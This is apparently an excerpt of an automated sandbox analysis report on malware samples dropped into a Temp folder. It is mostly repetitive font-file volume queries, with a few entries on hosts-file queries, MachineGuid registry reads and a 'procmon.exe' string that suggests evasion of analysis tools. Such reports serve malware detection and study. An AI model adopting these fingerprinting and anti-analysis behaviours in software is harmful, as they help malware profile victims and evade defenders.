Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0101CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0101CBEA

Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: procmon.exe
